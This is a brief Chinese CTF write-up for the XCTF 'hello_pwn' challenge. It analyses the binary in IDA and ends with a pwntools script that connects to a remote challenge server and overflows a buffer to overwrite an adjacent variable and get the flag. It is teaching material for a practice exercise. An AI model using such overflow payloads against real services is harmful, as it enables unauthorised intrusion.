xctf-pwn hello_pwn

走流程,看看文件类型

xctf-pwn hello_pwn_第1张图片

64位,开了NX

直接丢IDA分析

xctf-pwn hello_pwn_第2张图片

查看sub_400686()

xctf-pwn hello_pwn_第3张图片

是个给flag的函数,可以看到,只要满足if语句的条件使dword_60106C == 1853186401就可以得到flag。

计算偏移量

xctf-pwn hello_pwn_第4张图片

0x6C-0x68=0x4所以偏移量是4,简单的覆盖变量接下来就直接写exp了

exp:
from pwn import*
p = remote('111.198.29.45',32077)
payload='a'*4+p64(0x6E756161) //1853186401转成了16进制(不转也行)
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()



你可能感兴趣的:(xctf-pwn hello_pwn)